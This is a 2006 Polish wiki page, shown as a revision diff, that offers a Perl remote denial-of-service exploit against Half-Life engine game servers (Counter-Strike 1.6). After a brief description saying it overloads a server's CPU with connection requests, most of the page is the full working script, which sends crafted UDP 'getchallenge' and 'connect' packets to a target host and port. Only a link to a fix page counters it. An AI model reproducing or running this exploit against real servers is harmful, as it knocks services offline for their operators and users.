Perl HLDS DDOS exploit
(Różnice między wersjami)
Linia 1: | Linia 1: | ||
− | powoduje | + | DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. |
+ | |||
+ | [[Linux_HLDS_DDOS_exploit_fix]] - poprawka, na razie nie przetłumaczona tego dzikiego języka. | ||
+ | |||
+ | |||
<protect groups="sysop"> | <protect groups="sysop"> | ||
<perl> | <perl> |
Wersja z 17:06, 25 cze 2006
DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć.
Linux_HLDS_DDOS_exploit_fix - poprawka, na razie nie przetłumaczona tego dzikiego języka.
<protect groups="sysop">
#!/usr/bin/perl # modded version for port # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server use IO::Socket; die "usage: perl cs_exploit.pl <adress> <port>" unless $ARGV[0]; $host=$ARGV[0]; $port=$ARGV[1]; if (fork()) { econnect($host); } else { econnect($host); }; exit; sub econnect($) { my $host=$_[0]; my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>$port,Proto=>'udp'); die "Could not create socket: $!\n" unless $sock; $cmd="\xff\xff\xff\xff"; syswrite $sock, $cmd."getchallenge"; sysread $sock,$b,65535; print $b,"\n"; @c=split(/ /,$b); $c2=$c[1]; $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0"; print "",'>',$q,"\n"; syswrite $sock, $q; sysread $sock,$b,65535; print $b,"\n"; sleep 3; close $sock; }
</protect>